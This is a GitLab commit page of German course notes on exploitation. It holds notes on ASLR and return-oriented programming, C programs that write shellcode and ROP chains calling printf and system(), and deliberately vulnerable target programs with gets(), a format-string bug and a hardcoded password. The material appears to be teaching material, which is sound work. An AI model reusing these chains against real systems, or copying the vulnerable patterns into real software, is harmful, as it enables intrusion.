Skip to content
Snippets Groups Projects
Commit 77e0c5a5 authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Notizen und Beispiele: Exploits, 29.6.2020

parent 14c2d2e8
No related branches found
No related tags found
No related merge requests found
Exploits, 29.06.2020, 15:38:10
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfa0;
for (int i = 2; i < 0x2a; i++)
write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse
write (1, &my_program_address, 8); // überschreiben zu können
for (int i = 2; i < 34; i++)
write (1, "A", 1);
write (1, "\x48\x83\xec\x60", 4); // sub $0x60,%rsp hierhin erfolgt der
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi "Rück-"Sprung
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t printf_address = 0x7ffff7e24560;
uint64_t exit_address = 0x7ffff7e05ea0;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "I 0WN U!!1! "
" ";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &printf_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t system_address = 0x7ffff7e109c0;
uint64_t exit_address = 0x7ffff7e05ea0;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &system_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, ");
printf (name_buffer);
printf ("!\n");
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
fgets (buffer, 20, stdin);
printf ("Hello, %s!\n", buffer);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment